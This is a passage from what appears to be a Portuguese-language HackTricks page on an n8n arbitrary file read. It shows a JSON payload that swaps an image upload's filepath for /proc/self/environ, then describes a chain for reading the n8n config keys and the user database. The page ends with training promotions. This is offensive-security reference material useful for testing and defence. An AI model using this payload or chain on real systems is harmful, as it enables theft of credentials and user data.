"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

O backend copia file.filepath, então a resposta retorna o conteúdo desse caminho. Cadeia comum: ler /proc/self/environ para descobrir $HOME, depois $HOME/.n8n/config para as chaves e $HOME/.n8n/database.sqlite para identificadores de usuário.

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks